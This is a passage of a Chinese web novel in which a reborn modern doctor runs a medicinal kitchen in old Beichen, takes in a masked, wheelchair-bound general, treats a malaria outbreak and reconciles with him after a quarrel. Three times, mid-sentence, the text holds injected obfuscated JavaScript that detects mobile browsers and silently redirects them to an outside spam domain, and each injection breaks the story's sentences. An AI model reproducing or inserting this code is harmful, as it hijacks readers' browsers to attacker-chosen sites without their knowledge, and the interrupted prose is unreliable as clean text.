“傩川,你......” “春桃,帕子。” 被叫到的春桃如梦初醒,连忙将手上的帕子递了过去。 傩川接过帕子,仔细将沈清落手上的水迹都擦去,又简单擦了擦自己的手,这才抬眼:“你方才想说什么?” 沈清落本想问问他,假如往后都站不起来了,他会怎么办。但此时她透过傩面具看着傩川平静又深邃的眸子,突然觉得这个问题很没意思,傩川自从醒来后的所有举动,都已经告诉了她答案。 他并不希望被当成一个特殊的存在而受到特殊的照顾。他绝非池鱼,而是那蛟龙终得云雨。 其实在傩川刚醒来那几天沈清落就意识到了这一点,傩川身上的气质不像是个寻常兵士,至于他为何会身负重伤,她就不得而知了。或许是遇上了凶恶的暴徒,或许是遇上了仇家来寻仇,在没弄清楚之前,她不会贸然把傩川置于危险的境地。 何况傩川那点伤,若是放到现代,简直就是不堪一提,也就是在北陈这种医术水平还十分落后的时代,人们会把这当成很严重的伤罢了。虽然没有先进的医疗设备和高效的伤药,但沈清落还是对自己有信心的。 因此她转了转眼珠,改口道:“我方才是想问,今晚我们要去西街逛逛,你会来吗?” “早些时候我让春桃去点了下库存,发现许多食材和药草都已经快见底了。正好今日是个难得的晴天,夜市里肯定很热闹。” 等了半晌,她才听见面具底下传来了一道声音:“会来的。” 晚间的西街向来是全京城最繁荣的地方,暮色还没完全降临,临街的铺子就已经挂上了大红灯笼,酒肆茶馆门口络绎不绝,烟火气十足。 “姑娘,我们何时能把铺子搬来西街呀?”春桃的眼里映着四周的光亮,抬头问道。 “你是想累死我呢,还是想累死李铛头呢?明日我可要告诉李铛头了。”沈清落装作正在思考的模样,说道,“我就和他说,春桃觉得咱们店子生意不太兴旺,嫌他总是没活干,找人茬。怎么样?” 春桃震惊:“姑娘你怎么能说这话!春桃要生气了!” 沈清落佯装没听见,随手指了一个角落,说道:“那有你爱吃的冰糖葫芦,要买一串吗?” 方才还一脸气包模样的春桃立马被转移了注意力,顺着沈清落手指的方向看去:“在哪呢?我怎么没见着?” 沈清落偷笑:“你生得太矮啦,自然是看不见的。” “那师父指定也没看见!” 沈清落万万没想到春桃竟然会说出这样的话,简直是语出惊人。 “嗯,我也看不见,只能仰仗沈娘子带路了。” 他语气里分明是带笑的,沈清落狠狠地用眼刀剜了他一眼,也不知道他注意到没有。 无奈之下,她只好硬着头皮往方才自己所指的方向走去。所幸西街上最不缺的就是街边各种卖吃食的贩子,拐过一个弯后竟真的让她碰到了。 “买几串?”沈清落看了看带着面具的傩川,又看了看眼前的面纱,“一串应该就够了吧?” 没想到傩川却开口说道:“两串吧。” 春桃在一旁惊讶道:“师父你也爱吃糖葫芦吗?” “我不吃。” “那怎的要两串,春桃只一串就够了。” “你家姑娘爱吃。” ?! 傩川怎么知道她爱吃糖葫芦的?沈清落记得自己在从未在他面前说过这件事。 或许是猜到了沈清落的想法,傩川继续道:“李铛头说的。” 那便合理了,她几个月前第一次找上李铛头的时候,正好碰见他给自家闺女买糖葫芦串,当时为了说动他来做膳堂的掌勺,便多聊了些,把自己爱吃甜食的事情也一并告诉了他。没想到他连这种事情都和傩川说了。 沈清落很意外,同样感到意外的还有春桃:“哎?姑娘喜欢吃糖葫芦吗?可我怎么记得姑娘一直都不爱吃甜糕呢......” “有一次姑娘过生辰,沈大人特地从天香楼里买了胭脂酥回来,结果被夫人劈头盖脸好一顿臭骂,说沈大人连小娘子不爱吃甜糕都不晓得......虽然春桃那时候还小,但记得分明,应当不会有错呀?” “你定是记错了,不爱吃甜糕的是我娘亲,不是我。”沈清落连忙接过话头,生怕春桃再继续说些什么圆不回来的话。 “......是这样吗?” “当然,那时候你就这么点大,记混了很正常。” 沈清落朝自己的膝盖处比了比,随后转移话题道:“不纠结一串两串了,咱们三个人,就要三串吧。” 说罢,朝摊贩递上了几文钱,接过三串糖葫芦,一人分了一串。春桃倒是吃得开心,满嘴都沾上了亮晶晶的糖油,沈清落和傩川就有些尴尬了。 沈清落带着面纱不方便吃,傩川虽只有上半张脸覆着面具,但他压根不爱吃甜食。夏夜燥热,即便太阳早就落进了西边的山头,空气里也仍然充斥着暑气,很快他们手里的冰糖就融化了。 沈清落捻了捻手,不出意外地感到了满手的粘腻。再拿一会儿,怕是只剩下一串葫芦了。 余光看见春桃已经将自己的那串吃了个干净,却还是一副意犹未尽的模样,沈清落顺势说道:“春桃,这串你也拿去吃吧。” “唉?师父不是说姑娘爱吃吗?” “不是不爱吃,是不方便吃。你快拿去吧,再过一会儿糖壳怕是都要化了。” 春桃稀里糊涂地又吃了一串,没想到刚吃完,又一串完整的冰糖葫芦出现在了她眼前。 “......师父你怎么也?”稚气未脱的五官皱到了一起,春桃咂了咂嘴,“我还想留个肚子吃晚饭呢......” 她犹豫了一会儿,放开手中轮椅的扶手,哒哒哒地走到了傩川面前:“师父,你若是不想要,我拿去给旁人吃可好?” 说着指了指不远处一个坐在桥墩子上穿着破败的孩童,看上去大约有个七八岁。 “......拿去吧。” 得了傩川首肯后,春桃的眼睛一下子亮了,高兴地道谢后就朝那孩童走去。 沈清落和傩川停在原地等她,过往人流不息,偶尔跑来几个顽皮的小子,撞歪了傩川也不道歉,只嘻嘻哈哈地走了。 后边跟来几个成年男女,看模样是那几个小孩的长辈,他们用怪异的眼神看了看傩川,又看了看他身下的木制轮椅,敷衍地说了句抱歉后便追了上去。 沈清落皱了皱眉,不着痕迹地往傩川那边靠了过去,试图挡住那些古怪的视线。 “不用在意。” 沈清落回神,注意到傩川是在对自己说话,一成不变的面具底下传出平淡的声音,好似早就已经习惯了这种目光。 可他不是才受伤一个月都不到吗?好强的适应能力,沈清落心想。 另一头的春桃已经顺着人流往回走,能看到她被热得红扑扑的脸蛋,边走还边回头说些什么。 走近了后,沈清落才发现,春桃不是一个人回来的,后边还跟着一个畏畏缩缩的小孩。 小孩左手拿着串冰糖化了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042838|178853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半的糖葫芦,右手抓着春桃的一侧衣角,低头瑟缩在她身后,半长的头发遮住了大半张脸,瘦削的身材在破烂的衣物下若隐若现,叫人分不清是个男孩还是女孩。 “姑娘,我记得咱们膳堂还缺个会劈柴的伙夫,你看这孩子怎么样?”春桃轻轻推了推那孩子的后背,鼓励地摸了下他的头。 那孩子抬起头来,脏乱的额发下露出一双硕大的眼睛,有些害怕地看着沈清落,声音细如蚊蚋:“我会劈柴......也会挑水。” 见沈清落不做回应,他有些焦急地往前多走了一步,手上的冰糖葫芦不小心沾上了飘起的薄纱。他顿时紧张了起来,用另一只手试图擦掉粘腻的糖渍,却是越擦越脏:“对、对不起......” 沈清落见状,轻叹了一口气,随后蹲下,抓住了他那只无处安放的手:“你说你会劈柴,还会挑水?” “......嗯。”小孩瑟缩了一下。 “你叫什么名字,今年几岁了?” “我叫贼生,今年八岁了。” 贼生?一点儿都不像正经取的名字。沈清落顿了顿:“是你爹娘给你取的吗?” 听到爹娘两字,沈清落感觉到手中的人僵住了,好一会儿才回话:“我没有爹娘,是他们给我取的名字。” 不用问也知道,小孩口中的“他们”是谁,无非是些人贩子或者市井泼皮。 “若是想跟我走,那以后便不能叫贼生了,你可愿意?” 那小孩愣住了,一双眼里竟是蓄上了一汪眼泪。赶在凝成泪珠子落下来之前,他连忙从沈清落手中抽出自己的手,囫囵擦了下眼泪:“愿意的!” 沈清落拿出帕子给他擦了擦:“往后你就叫夏生吧,这是春桃阿姐,这是......傩川师父。” 既然是春桃领来的,跟着春桃叫师父总没错。 一行三人变成了四人,在临街的食肆吃过晚饭,又采买足了膳堂里要用的香药和食材后,这才慢悠悠地往回走去。 回程的路上,夏生一直紧紧地捏着沈清落的衣角,在春桃表达了不满后,他改成了一手捏着一人的衣角,让沈清落哭笑不得。 “春桃,你带他去清洗一下,今晚就委屈你们挤一挤了,明日再把二楼东边那个杂物间收拾出来给夏生住。” “好嘞。” 领了任务后,两人便前后脚上了二楼,只留下沈清落和傩川还在厅院里。 一楼能供人住的只有两间屋子,原本一间是春桃的,一间是沈清落的,两人若是当天不回沈府,便好在膳堂里歇息。傩川来了后,因他腿脚不便,春桃就搬去了二楼。 “天色不早了,你也早些休息。” 打过招呼后,沈清落便要往自己那间屋子走去。 “你招伙计一直是如此随意吗?” 沈清落回头,见傩川已经取下了面具,他的表情看上去就像是在和她随口唠家常。 沈清落思考了一下,说道:“倒也不是,李铛头是我打听了许久后才找来的,他的手艺在城南口碑一直不错。跑堂的赵海从前就一直跟着李铛头,后来便一起到我这儿来了。” “至于夏生,我不想让春桃难过。” 她虽然没有原主的记忆,但也知道春桃大概是四五岁的时候来沈府的,听邻居说起,春桃刚来的时候还是个小叫花子的模样,想必在外面吃了不少苦。如今碰到了夏生,她或许是想到了小时候的自己吧。 “那我呢,你又为何留下了我?” 沈清落愣住了,没想到傩川会问出这样的问题。她总不能告诉他,因为你头上那砖头是我拍的,你失忆也是我造成的,我内疚,我良心过不去吧? 于是她匆匆错开了和傩川的视线,模糊道:“大概是......觉得你合我眼缘。” “......” 也不知道傩川信了没有,总之沈清落仓皇进了屋子,关上了门。 过了许久,她才听到屋外有木轮子滚动的声音,随后对面的房门传来了“咔哒”一声轻响。 5. 吵架了 “都统,末将终于找到您了!您这是......” 一道焦急的声音自傩川房中响起,划破了沉寂的黑夜。 傩川放下竖在唇边的手指,看向眼前单膝跪地的副将:“还有谁活着吗?” “......”地上那人的头垂得更低,静默半晌后,终是从牙缝里挤出颤抖的声音,“除末将外,百余兵士全军覆没。” 最后一字落下,犹如三九天里最锋利的冰锥,毫不留情地刺向隐没在黑暗中的傩川。 他听见自己叹了口气,道:“知道了。你是几时进的京城?” “进城已有十余日。末将无用,直到今日才寻得都统,还望都统责罚。” “你想我怎么罚你?” 跪地之人的肌肉瞬间紧绷,周围的空气都仿佛在瞬间凝固。 傩川看在眼里,淡道:“行了,此事不怪你。有查清楚两侧为何会突然落下如此之多的滚石吗?” “......没有。落石太多,周围又全是石壁山林,末将侥幸逃脱后曾试图上去查看,奈何唯一一条山路也被落石堵得严严实实。” “都统,那条路常有过往商队行经,从未听闻如此境况。末将以为......” “嗯,不是巧合。” 闻言,地上那人终于抬起了头,只见他两颊瘦削,额发散落,布满伤痕的脸上还沾了些沙砾。 显然这几日他过得并不好。 傩川默然,果然和上一世的状况没有丝毫差别。 曾经的他,就是因为一封来自宫中的急召而匆匆赶回京城,只带了百余名亲卫。 途径一处峡谷时,两侧突然滚下无数落石,亲卫死伤惨重,他也没能幸免。身负重伤回京后,天子勃然大怒,派人调查了好久,却是一无所获,最终以天灾收场。 他在疗伤期间,每天无数太医进出为他诊治,宫中也送来了众多名贵的珍稀药材,那段时间将军府的门槛都被踩烂了。 可即便如此,他的身体依旧每况愈下,直到再也无法离开病榻半步,浑噩度日。弥留之际,他分明听见了一个无比熟悉的声音。 他说:“怀瑾,是我对不起你。” 谁在说话?为何对不起我? 还没等他想明白,所有的一切便都进入了混沌之中。 在伸手不见五指的黑暗里不知道过了多久,久到他已经将那个声音品味咂摸了数百上千遍。 再次睁眼,便是又回到了惨烈至极的那日。 他上前查看路况,就在那时,无数落石自山顶滚下,将他和亲卫队隔绝在两侧。清醒过来后,他试图寻找任何蛛丝马迹,然而一无所获。最终他拖着受伤的身体,混进了进城的粮草商队。 这次,他不会再重走上一世的老路了,他要找那人问清楚,究竟是为什么。 “果真如此,是谁?!我要为枉死的弟兄们报仇!”亲卫浑浊的双眼突然爆发出利剑般的锋芒,他双目炯炯地看着傩川,“都统,我即便是豁出去这条命,也定要将害我们至此的人碎尸万段!” 然而他说完后,许久都没能等到傩川的会应。 “......都统?” 他困惑地看着眼前主将,突然,他从傩川的眼神中读到了什么,冰冷的寒意如毒蛇般爬上他的脊背。 “难、难道是......?” 亲卫的话没说完,被傩川的一个止语手势打回了肚子里。 “慎言。” “你是怎么找到我的?” “末将一路循着都统所做的标记进了城,没想到进城后标记就消失了。昨日听说西街的夜市向来繁华,想去碰碰运气。没想到真的让我碰上了都统,便一路跟了过来。” 傩川若有所思:“既然你能将我认出来,想必也会有旁人认出我来。” “多留意附近,若是发现行迹可疑之人,立刻告知与我。” 亲卫愣了愣:“都统,我们不走吗?” “走去哪?” 亲卫的眼神不受控制地瞟到了傩川的双腿,被烫到了一般移开,冷汗淋漓:“末将多嘴。” “暂且先藏身此处吧。” ......既能暂避外面的风头,也能借此治疗腿疾。但这后半句话,傩川犹豫了下,终究是没有说出来。 “是。” 亲卫正要转身离去,却听得身后都统说道:“查一下这间膳堂的主事。” 傩川顿了顿,继续道:“叫沈清落。” ...... 隔日,沈清落从房里出来,恰巧碰见了刚出门的傩川。 她随口问道:“傩川,昨天夜里你有没有听到什么声响,还挺大动静的?” 傩川整了整衣襟:“没有。” “唉?没有吗......感觉像是从你那边传出来的。” 昨夜快睡着的时候,分明有什么声响把她吵醒了,等她瞌睡都跑了,再去仔细听的时候,却又什么都听不见了。 “哦?是吗。昨夜睡前我抓了只蝉,可能抓的时候碰倒了些什么,我没注意吧。” 抓蝉?沈清落半信半疑间,听见一旁的木梯上传来了急促的脚步,伴随而来的,还有春桃焦急的呼喊。 “姑娘,夏生不知怎的,突然发起了热病,明明昨夜睡前还好好的!” 话音刚落,春桃就已经跑下了楼梯,站在了他们面前。 古时候发烧可不是一件小事,轻易就能要了一个人的性命。沈清落面色凝重:“除了发热,可还有旁的症状?比如咳嗽、呕吐之类。” “没、没有。”春桃想了想又补充到,“夜里有一阵子他突然说很冷,这......这算吗?我以为是我睡相不好,把被子都卷走了。可现在想来,夏至都已经过了,夜里不应当觉得很冷才对。” 沈清落听完后,立马吩咐道:“取几块干净的帕子,再备一盆水,我们上去看看。” 楼梯走到一半,她回头对傩川说:“你去和赵海说一声,若是有人找我,便告诉他我今日有要事在身,让他明日再来。” 傩川应下,转身往外走去。 沈清落推开房门,原本是春桃的卧榻上如今躺着夏生,他胸前的衣襟凌乱地敞开着,薄褥子被扔在了一边,脸上泛着极为不正常的潮红。 走近后,还能看到他的嘴唇异常干裂,嘴里迷迷糊糊地在说些什么。 沈清落轻声道:“夏生,是我。” 夏生睁开了紧闭的双眼,顺着声音看过来:“沈、沈娘子,我好热。” “不怕。” 这时春桃推门进来,沈清落示意她将其中一块帕子浸湿,叠成方块状覆盖在了夏生的额头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042839|178853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 她又拿起一块帕子,对折后覆住自己的口鼻,绕至脑后打了一个结。春桃见状也用同样的方法覆盖住了口鼻。 沈清落坐在卧榻边,拿起夏生的一只手进行把脉,片刻后站了起来,对春桃说道:“每隔一炷香的时间换一块帕子,若是水不凉了,记得及时去井里换水。” 见沈清落神情认真,春桃知道事态着实严重,不敢耽搁,连忙应下。 交代完重要事情后,沈清落这才忧心忡忡地下了楼。 刚洗完手,她便碰见了从后厨出来的傩川。 傩川显然也看见了她,推着轮椅到她身边。 “很严重吗?从不曾见你如此愁眉不展。” 沈清落原本不想说出她真正的担忧,免得引起恐慌。但此时透过面具直视着傩川的眼睛,她莫名感到了一种令人安心的感觉,以至于倾诉的欲望喷薄而出,于是犹豫片刻后说道:“夏生的模样......有点像痎疟。” “但我无法确定,痎疟通常伴随着反复的寒热交替,且常规模性出现。” 大学的时候,沈清落上过一学期社会传染病的专选课,她记得在讲到疟疾的时候,老师给他们展示了历史上曾爆发过大规模疟疾的时代,并没有提到北陈。 当然,不排除一种可能——北陈存在过小规模或是零散的疟疾病例,并未被史书记载。 但是不论哪种,沈清落都不希望发生,她宁愿自己判断出错了。 “若的确是痎疟,你该怎么办?” “暂时没想好,但总会有办法的。” 傩川轻笑了一声:“你倒是乐观。” 沈清落古怪地看了他一眼,说道:“我怎么觉得你更乐观呢?看起来一点也不紧张。” 傩川当然不紧张,上一世他重伤回京后不出一月,城中便痎疟四起。算算时间,也差不多是这时候了。 “天灾面前,一切都是蝼蚁。既是蝼蚁,那便各自有命,无需过分担忧。” “话可不是这么说的,你没听说过人定胜天吗?” “那都是上位者不想底下的人消沉度日,编出来的谎话罢了。” 沈清落有些生气,她气傩川明明不是这样的人,却故意说出这样的话。 一生气,就有些口不择言:“若是像你说的人各有命,那你的腿......你的腿我不治也可以了。” 说完,转身就走了,只留给了傩川一个生气的背影。 傩川失笑,他并不觉得自己有哪里说错了,历史上发生过无数次的疫病肆虐,最终都会平歇下来,不过是多死几个人罢了。他记得上一世,城中十个人里便有一个换上了痎疟,疫病带来的恐怖气息让百姓无暇再顾及其他的事。 那段时间,他从探子口中得知,城里有关“煞神将军”的传闻都消停了不少。 所以,他到底为何要紧张? 这样想着,他心里却一点都轻松不起来,尤其是看着沈清落离开的背影,总觉得有什么东西重重地压在他心里,很是沉闷。 傩川在原地静默了许久,直到跑堂的赵海叫了他一声,他才回过神来。 “傩川,你在这里做什么?昨日新买的药材还没清点过,我这边实在空不出手来,你若是得空就去弄一下。” 等赵海走后,许久他才转身去向库房。 6. 酥山 自那日不欢而散后,沈清落已经有整整两天没和傩川说过一句话。 虽然在这之前傩川也不是个爱说话的类型,若是旁人不主动挑起话头,傩川一般不会主动开口。但如此大规模的冷战行为却是首次,连膳堂里的其他人都有所察觉。 这天早上,李铛头将拿给夏生的吃的饭菜装进单独的食盒里,小心翼翼地问道:“沈娘子,傩川这两日是有什么事吗,怎的不见他一起来用饭?” 沈清落一听“傩川”这两个字就火大,她不去和他搭话,他竟真的一言不发。即便两人迎面碰上,也像毫不相干的陌生人般擦肩而过。 更可气的是,他成天带着那副面具,沈清落甚至无法从他的脸上读到一丝一毫的微表情。 于是没好气道:“管他作甚,有手有......脑的,难不成还能饿死吗?” 李铛头没想到这一多嘴就引火上身了,他连连道:“唉唉,沈娘子说的在理,管他作甚!咱们自己吃。” 说完朝春桃投去了一个挤眉弄眼的眼神。 春桃会意,将桌上的一盘水晶糕拿到沈清落面前,笑吟吟道:“李铛头今日特地做了姑娘爱吃的水晶糕呢,尝尝看,可好吃了!” 沈清落哪里会注意不到他们暗中的小动作,她也不是真的生气,就是憋了两日心里有点闷得慌罢了。 她随手拿起一块水晶糕,吃进嘴里又甜又糯,味蕾被滋润了,那一点点糟糕的心情也就暂时得到了缓解。 “怎么样?” “唔......还不错。” 春桃偷笑,朝楼梯上正在观望的李铛头比了一个胜利的手势。 很快,李铛头送完了早点,从楼上下来,沈清落看他笑得憨厚,后知后觉刚刚自己乱发脾气有些不妥。 她往侧边坐了坐,留出一个空位:“李铛头,你坐这儿吧。” 李铛头却是摆了摆手,哈哈一笑:“不用不用,我坐这边就好。都说君子远庖厨,沈娘子自然要离我们这些庖厨远点才是。” 沈清落气急:“什么庖厨不庖厨的,讲究这些做什么?” 李铛头道:“沈娘子不在意,但是我这厨子心里在意得很。” 春桃也在一旁帮腔:“姑娘你就别为难李铛头了,他若挨着坐,怕是连饭都吃不踏实。” 两人都没提到沈清落让出的那个地方一直是傩川的位置,却都心照不宣。 “夏生怎么样?”沈清落喝了一口粥后,抬头问道。 “方才送饭上去的时候倒是不热了,人也还算清醒,就是不知道还会不会再热起来。”李铛头叹了口气,“这两日也着实折腾,巷尾卖豆腐的王瘦子貌似也病倒了,还有邻村的徐寡妇一家,竟是一家子都发起了热病。” 春桃补充:“常来咱们膳堂门前晃悠的那泼皮近几日也没怎么见到了,听旁人说好像也病倒了。” 沈清落回忆:“是牛老二吗?” “对对对,就是他。” “怎的大家都在这关头得了热病呢?也太巧合了些。”李铛头皱起了眉,嘴里念念有词,“该不会染上什么怪病了吧......” 沈清落听在心里,却没有做出回应,她对春桃说道:“吃过朝食后你去准备些上门看诊的用具,今日要去西街看诊。” “哎?”春桃惊讶,“这是什么时候的事,没听姑娘说起过呀?” “昨日傍晚赵海和我说的,说是有个大娘打听了好久才找到我们这里,求我们救救她家的孙儿。” “西街不是有好几个厉害郎中吗?竟然都找到我们这里来了?” 沈清落摇头:“不太清楚,一会儿去瞧瞧就知道了。” 原以为这次出门身边只会跟着一个春桃,没想到刚踏出膳堂的门槛,傩川就施施然推着轮椅跟了上来。 沈清落:“......” 没记错的话这人应当是在和自己冷战吧? 沈清落眼睁睁看着春桃给傩川搭上过门槛的木板,却没法说出阻止的话。 要是不让傩川跟着去,这不是显得自己太过小气了吗!沈清落才不会做这种丢分的事。 于是三人在一种不可言说的微妙氛围中上了路,只有春桃偶尔插上一两句话。 午时一刻,在毒辣日头的曝晒下,他们终于找到了那位林大娘的居所。 看上去颇有年头的木门上贴着一副对联,上面写着一些喜庆的祝福语,门顶上挂了一簇还算新鲜的艾草,两侧的瓦罐里种着一些小葱小菜,虽老旧却很有温馨的生活气息。 然而跨进门槛,却是另一幅不同于屋外的景象。窗户没有打开,只微微透过点光亮,整个屋子里都弥漫着浓浓的中草药气息。 早在屋外,三人就已经戴上了备好的面衣,饶是如此,也被屋内浓重的中草药味道呛了一下。 春桃咳了两声:“......怎的比我们存放药草的库房味道还要重上许多。” “应当是刚煎完药,屋里又没开窗透气。”沈清落顿了顿,放大声音喊道,“有人吗?” 屋里传出来点响动,过了会儿走出来个神情郁结的老妇人。 “是沈娘子沈大夫吗?” “是我。”沈清落答道,“这屋里好浓的药味,生了什么病可知道?” 老妇往里屋走去:“我的孙儿前日不知怎的突然发起了热病,百日里烧得厉害,夜里又常常叫唤着冷,盖两床褥子都不起作用。” “我家儿媳去请了大夫,可大夫看过后却是连连摇头,我们再三央求才给开了一副方子。没想到昨日连我儿媳都病倒了。” 老妇哽咽了起来:“连着好几个大夫都不愿意来看,我实在没办法,听说猫儿桥的沈娘子是个良善的,这才寻上了门来。” 说着说着,老妇竟是要跪下:“沈娘子,求您救救我家的孙子和儿媳吧!” 沈清落连忙扶住她:“大娘快起来,我这不是已经来了吗,一定没事的。” 进到里屋,看见了躺在床上的一大一小,沈清落心里已经有了底。 把完脉后,她又翻了翻床上两人的眼皮,从症状来看,基本和夏生无异。 她从春桃手里接过银针,给眼前昏睡不醒的两人各自做了针灸,随后写下一副药方子,嘱咐老妇按时抓药煎药。 老妇接过药方子,眉心纠结:“这......这样就能行了吗?” 沈清落安慰道:“痊愈自然是不行的,但总归能缓解一些。过几日我还会再来的。” 老妇连连道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042840|178853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢,临出门时,给沈清落递上了几粒捂得温热的碎银,但沈清落没有收下。 “之后病都好全了再给我也不迟。” 说完,招呼一旁刚整理完东西的春桃和一直沉默着的傩川便走出了这幢屋子。 此时已经临近傍晚,沈清落便打算在西街找个食肆把晚饭解决了。 但这也意味着,她要和已经冷战两天的傩川同桌吃饭了。 直到踏进食肆门槛的那一刻,沈清落都在想这件事,还没等她想出个所以然来,傩川竟然先开口了。 他说:“你们先进去吧,我有点事要去处理,不用等我。” ? 他能有什么事?他能有什么事!竟然连个正经借口都不愿意找,随口敷衍一下就结束了。 ......就那么不愿意低个头吗? 沈清落原先还在想着要怎么开口打破僵局,这下成死局了。 她让春桃按喜好随便点了几个菜,便味同嚼蜡地吃了起来,也就没注意到,桌上突然多了一个外观着实精致的食盒。 扒完碗里的最后一口米饭,沈清落抬头,终于注意到了这个食盒。 ......以及食盒旁边安静坐着的傩川。 “姑娘终于看见啦。”春桃笑吟吟地看着她。 沈清落愣住:“......怎么回事?” 这食盒的精致程度和这家食肆显然格格不入,不可能是店里的东西。 沉默半天的傩川开口:“这是天香楼的酥山,你应当会喜欢。” 说着,他将食盒打开,推到了沈清落的面前。 沈清落看着里面精致的酥山,一时不知道是该接过还是推回去。 说实话,酥山这种东西对她来说还是很有吸引力的。自打穿越,就再也没吃到过冰冰凉的雪糕。一个是难买,另一个是昂贵。 现在有一个现成的酥山放在眼前,奶白色的冰沙上点缀着几片薄荷叶,很是诱人。 春桃一看她的模样就知道她喜欢,舀了几勺放在碗里:“化了就不好吃了。” “等一下。”沈清落虽然想吃,但仍是有原则的,她转头问傩川:“你方才去天香楼了?” “嗯。” 沈清落大概明白了:“你觉得一个酥山就能讨好我?” “......没有。” “那你便拿回去吧,我不吃。” “对不起。” 沈清落本想将食盒推回去的手顿在了半空中。 “我错了。” “若是一个不够,就再买一个......往后只要你想吃,我就去买。” 她没想到,总是沉默寡言,好像对什么事情都不在乎的傩川竟然有一天会对她说对不起。以至于她没注意到,凭傩川现在寄人篱下的状态,本该拿不出这么多钱。 沈清落有点怀疑自己的耳朵,她悄悄瞥了一眼右侧的春桃,只见她正埋头苦吃,恨不能把整个头都塞进碗里。 沈清落突然觉得有点爽,她试探道:“错哪了?” 傩川看着她,垂下了眼帘:“回去再说,好不好?” 各退一步,挺好。 沈清落道:“那说好了,你可不许反悔。” “不会。” 7. 和好 刚回到膳堂,还没等沈清落开口,傩川便主动叫她进房。 原本沈清落还担心了一路,担心傩川会不会反悔,现在看来是多虑了。 她怀着期待的心情跟着他进了屋子,只见傩川不紧不慢地点上了台子上的烛火,又摘下戴了一整天的面具,动作间有几屡发丝跟着落了下来。 “我一直在做一个同样的梦。” 梦?沈清落没想到会是这样的开始。 “梦里所有的人,”他顿了顿,“包括我最好的挚友,我曾经救过的人,都背叛了我。他们说着最恶毒的话,将我一点一点推到了悬崖边上。可在那之前,我是他们眼中的......英雄,或者说救世主。” 沈清落怔住了,她在傩川脸上第一次看到了悲伤的情绪。 “梦里,我在所有人的簇拥和祝福下离开,因为我接下来要做的事是对他们有利的。后来我回来了,迎接我的是万劫不复的深渊。” “最终把我推下悬崖的那个人,说他对不起我。” “......为什么?” 傩川脸上的悲伤消失了:“不知道。” “那真的只是梦吗?” “或许是,或许不是。” 沈清落莫名想起了第一次在河边看到傩川时,他满身的血迹和微弱的呼吸。难道那个时候就是他掉下悬崖之后? 可这里是京城,最近的一处崖谷也要出城之后再走上十里路才能到。一个怎样的人才能在掉下悬崖后独自走过十里路来到京城呢? 沈清落宁愿相信那只是一个梦。 傩川:“所以那天我才口不择言说出了那些话,抱歉,是我分不清梦和现实了。” 沈清落突然对傩川过去的经历好奇了起来。她之前一直觉得,既来之则安之,傩川过去发生过什么和现在并没有什么关系。 她上前摸了摸傩川的额头,傩川因为她这突如其来的举动怔在了原地。 他看着沈清落皱起眉头,若有所思的模样。难道她发现什么了? 他肌肉紧绷,随时准备做出反击,却没想到沈清落倏然一笑:“那只是噩梦罢了,明日我做些安神的汤给你喝,算是你今日给我买酥山的回礼吧。” 傩川的心跳漏了一拍。 直到沈清落离开,他都还保持着原先的姿势一动不动。 许久,黑暗里传来了一个人声:“都统,需要末将出手结果了她吗?” 傩川回神,眯了眯眼,语气冰冷:“管好你自己。” 闻言,暗处的亲卫后背冒出了一层冷汗。原以为都统今天心情不错,傍晚的时候还叫他去买个酥山,此时便想趁他心情好多多表现一下,却没想到是马屁拍在了马腿上。 他方才明明感受到都统起了杀意!难道他弄错了? 他记得以前都统虽然严厉,军营里大家都惧怕他,但从来没让他像现在一样,感觉被一条毒蛇盯住,随时都可能没命。 他打了个冷颤,连忙道:“末将多言。前几日您命我去调查一事,有结果了。” 傩川示意他继续往下说。 “沈清落,”亲卫顿了顿,他感到正前方传来了一道危险的目光,“沈掌柜是原九品翰林医官沈缚安的独女,母亲是柳......” “我知道,说半年前落水的事。”傩川不耐烦地出声打断。 “......半年前,正是隆冬时节,据一个更夫所说,他在三更时分路过河边,恰巧碰见沈家母女双双落水。救上来后,原本两人都没了生气,但不知怎的,沈清......沈掌柜突然咳了起来,竟是又通了气。” “在那之后,沈掌柜就常常出入在城南的大街小巷,挑了处地方开了间药膳堂,还常常做些大发善心的好事,和落水之前大门不出二门不迈的模样大相径庭。” 亲卫抬头:“一个女子,曾经也算是个大家闺秀,整日在外抛头露面,还常常和泼皮破落户混在一起。不知是那次落水伤到了脑袋还是怎的......末将认为,实属不妥。” 傩川想起了常在膳堂门口扰人的那几个泼皮,有一个似乎是叫牛老二。 他眼神一暗:“你说谁不妥?” 亲卫:“自然是沈掌柜!这般行为,分明是妖女做派......” 说着说着声音轻了下去,他突然感受到了一股浓烈的杀意。 ? 说......说错了吗? 亲卫将刚刚发生的事都在脑子里过了一遍,瞬间感到头皮发麻。 